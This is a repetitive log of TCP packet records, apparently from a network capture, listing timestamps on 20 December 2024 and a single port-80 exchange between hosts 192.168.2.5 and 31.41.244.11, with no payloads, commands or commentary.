Dec 20, 2024 13:12:42.100182056 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.100229979 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.100289106 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.101244926 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.101264000 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.101300955 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.101331949 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.102226019 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.102283001 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.102345943 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.102400064 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.103308916 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.103363037 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.103549004 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.103617907 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.104346991 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.104429007 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.104485035 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.104540110 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.105386972 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.105449915 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.105479002 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.105534077 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.106384039 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.106441975 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.106667042 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.106720924 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.107450962 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.107497931 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.107563019 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.108500004 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.108558893 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.108627081 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.108705044 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.109540939 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.109600067 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.109605074 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.109656096 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.110802889 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.110868931 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.111006975 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.111152887 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.111706018 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.111768961 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.111843109 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.111896038 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.112688065 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.112742901 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.112824917 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.112879992 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.113848925 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.113859892 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.113905907 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.114803076 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.114855051 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.114969015 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.115020990 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.115835905 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.115981102 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.115988970 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.116048098 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.116914988 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.117029905 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.117036104 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.117100954 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.117932081 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.117969990 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.118004084 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.118048906 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.118976116 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.119043112 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.119076967 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.119131088 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.120060921 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.120187998 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.120244026 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.121148109 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.121287107 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.121355057 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.121417999 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.122191906 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.122251987 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.122265100 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.122314930 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.123209000 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.123270035 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.123346090 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.123409033 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.124277115 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.124346018 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.124376059 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.124428034 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.125375032 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.125385046 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.125441074 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.126338959 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.126383066 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.126471996 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.126471996 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.127350092 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.127497911 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.127552986 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.128463984 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.128520966 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.128532887 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.128587008 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.129430056 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.129492998 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.129561901 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.129618883 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.130530119 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.130583048 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.130642891 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.130698919 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.131582022 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.131644964 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.131711006 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.131997108 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.132643938 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.132741928 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.132797003 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.133672953 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.133734941 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.133769989 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.133856058 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.134711027 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.134782076 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.134844065 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.135379076 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.135729074 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.135788918 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.135941982 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.135998011 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.136818886 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.136830091 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.136874914 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.137902021 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.137952089 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.137955904 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.138005018 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.138967037 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.139022112 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.139054060 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.139138937 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.139914036 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.139971018 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.140005112 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.140058041 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.141061068 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.141094923 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.141156912 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.142182112 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.142194033 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.142249107 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.143071890 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.143259048 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.143346071 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.144113064 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.144180059 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.144340038 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.144429922 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.145194054 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.145250082 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.145283937 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.145333052 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.146234989 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.146300077 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.146337986 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.146400928 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.147274017 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.147334099 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.147396088 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.147448063 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.148248911 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.148586988 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.285479069 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.285672903 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.285922050 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.286026001 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.286092043 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.286091089 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.286145926 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.286992073 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.287050962 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.287157059 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.287214994 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.288073063 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.288181067 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.288235903 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.289169073 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.289480925 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.289546013 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.290249109 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.290332079 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.290546894 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.290604115 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.291276932 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.291286945 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.291342020 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.292354107 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.292527914 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.292586088 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.293495893 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.293507099 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.293559074 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.294368029 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.294426918 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.294502020 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.294557095 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.295346975 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.295403004 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.295984030 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.296459913 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.296519041 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.296714067 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.296772003 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.297549963 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.297606945 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.297672033 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.297728062 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.298563957 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.298621893 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.298633099 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.298686028 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.299683094 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.299738884 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.299743891 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.299804926 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.300787926 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.300914049 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.300971031 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.301661015 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.301707029 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.301718950 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.301768064 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.302813053 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.302881956 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.302916050 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.302979946 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.303988934 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.304025888 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.304090977 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.304932117 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.304997921 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.305130005 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.305192947 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.305999041 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.306085110 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.306114912 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.306143999 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.307041883 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.307077885 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.307118893 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.307149887 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.308111906 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.308146954 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.308207989 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.309045076 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.309107065 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.309142113 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.309201956 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.310117006 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.310183048 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.310216904 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.310278893 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.311239004 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.311274052 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.311301947 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.311351061 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.312189102 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.312381029 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.312443972 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.313220978 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.313276052 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.313282967 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.313330889 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.314307928 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.314342976 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.314372063 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.314433098 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.315253019 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.315334082 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.315408945 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.315471888 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.316380978 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.316648006 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.316713095 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.317502022 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.317567110 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.317600965 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.317661047 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.318438053 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.318500996 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.318617105 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.318677902 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.319688082 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.319751024 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.319875002 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.319947958 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.320533037 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.320802927 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.320874929 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.321827888 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.321862936 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.321917057 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.321964979 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.322717905 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.322954893 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.323024035 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.323895931 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.323931932 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.323970079 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.323998928 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.324913979 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.324979067 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.325014114 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.325087070 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.325948954 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.326011896 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.326181889 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.326245070 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.326906919 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.327007055 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.327013016 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.327068090 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.327909946 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.327980042 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.327986002 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.328037024 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.328937054 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.328990936 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.328999996 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.329052925 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.329961061 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.330025911 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.330235004 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.330296993 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.330988884 CET	80	49913	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:42.331053972 CET	49913	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:42.331100941 CET	80	49913	31.41.244.11	192.168.2.5
